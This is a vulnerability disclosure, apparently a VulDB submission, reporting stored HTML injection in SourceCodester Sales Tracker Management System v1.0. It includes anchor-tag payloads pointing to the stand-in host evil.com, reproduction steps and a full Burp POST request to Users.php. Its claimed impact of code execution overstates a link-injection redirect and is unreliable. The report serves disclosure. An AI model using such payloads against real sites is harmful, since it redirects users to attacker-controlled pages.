提交 #166771: Stored HTML injection in Sales Tracker Management System v1.0

#Description: I have found a stored HTML injection in Sales Tracker Management System v1.0 in creating a new user functionality where the firstname,middlename,lastname and username parameter of the form are not sanitize properly . This Stored html Injection lead to redirect the user .

# VULNERABILITY-TYPE : STORED HTML INJECTION
# VENDOR OF THE PRODUCT : SOURCECODESTER
# AFFECTED PRODUCT : Sales Tracker Management System
# VERSION: 1.0
# ATTACK TYPE : REMOTE
# IMPACT: CODE EXECUTION
# AFFECTED COMPONENTS: SOURCE-CODE(Users.php)
# ATTACK VECTOR: CREATE NEW(firstname,middlename,lastname and username)
# DESCRIPTION: SOURCECODESTER Sales Tracker Management System v1.0 suffers from Stored HTML Injection that leads to Redirect via user.php(firstname,middlename,lastname and username parameter)

# Vendor Homepage: https://www.sourcecodester.com/php/16061/sales-tracker-management-system-using-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=16061&title=Sales+Tracker+Management+System+using+PHP+Free+Source+Code

# PAYLOAD_USED
```
<a href=//evil.com>CLICK_HERE_FOR_FIRSTNAME</a>
<a href=//evil.com>CLICK_HERE_FOR_MIDDLENAME</a>
<a href=//evil.com>CLICK_HERE_FOR_LASTNAME</a>
<a href=//evil.com>CLICK_HERE_FOR_USERNAME</a>
```

# STEPS_TO_REPRODUCE
```
1. FIRST LOGIN INTO YOUR ACCOUNT BY USING THE GIVEN CREDENTIALS OF ADMIN
2. THEN NAVIGATE TO USER_LIST AND CLCIK ON `CREATE NEW` BUTTON OR VISIT TO THIS URL:`http://localhost/php-sts/admin/?page=user/manage_user`
3. THEN FILL UP THE DETAILS AND PUT THE ABOVE PAYLOAD IN `firstname` `middlename` `lastname` and in `username`
4. AFTER ENTERING THE PAYLOAD CLICK ON SAVE BUTTON
5. AFTER SAVING THE FORM YOU WILL BE REDIRECTED TO ADMIN SITE WHERE YOU CAN SEE THAT NEW USER IS ADDED .
6. AFTER CLICKING ON THE EACH PAYLOAD IT REDIRECT ME TO EVIL SITE
```
# BURPSUITE_POST_REQUEST
```
POST /php-sts/classes/Users.php?f=save HTTP/1.1
Host: localhost
Content-Length: 1037
sec-ch-ua:
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7hwjNQW3mptDFOwo
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36
sec-ch-ua-platform: ""
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/php-sts/admin/?page=user/manage_user
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=r0ejggs25qnlkf9funj44b1pbn
Connection: close

------WebKitFormBoundary7hwjNQW3mptDFOwo
Content-Disposition: form-data; name="id"

------WebKitFormBoundary7hwjNQW3mptDFOwo
Content-Disposition: form-data; name="firstname"

<a href=//evil.com>CLICK_HERE_FOR_FIRSTNAME</a>
------WebKitFormBoundary7hwjNQW3mptDFOwo
Content-Disposition: form-data; name="middlename"

<a href=//evil.com>CLICK_HERE_FOR_MIDDLENAME</a>
------WebKitFormBoundary7hwjNQW3mptDFOwo
Content-Disposition: form-data; name="lastname"

<a href=//evil.com>CLICK_HERE_FOR_LASTNAME</a>
------WebKitFormBoundary7hwjNQW3mptDFOwo
Content-Disposition: form-data; name="username"

<a href=//evil.com>CLICK_HERE_FOR_USERNAME</a>
------WebKitFormBoundary7hwjNQW3mptDFOwo
Content-Disposition: form-data; name="password"

1234
------WebKitFormBoundary7hwjNQW3mptDFOwo
Content-Disposition: form-data; name="type"

2
------WebKitFormBoundary7hwjNQW3mptDFOwo
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundary7hwjNQW3mptDFOwo--

```
# PROOF_OF_CONCEPT
GITHUB_LINK : https://github.com/ctflearner/Vulnerability/blob/main/Sales_Tracker_Management_System/stms.md

• 来源: ⚠️ https://www.sourcecodester.com/php/16061/sales-tracker-management-system-using-php-free-source-code.html
• 用户: Affan (UID 39417)
• 提交: 2023-06-09 13時47分 (3 年前)
• 管理: 2023-06-09 14時41分 (53 minutes later)
• 状态: 已接受
• VulDB条目: 231164 [SourceCodester Sales Tracker Management System 1.0 Users.php?f=save firstname/middlename/lastname/username 跨网站脚本]
• 积分: 20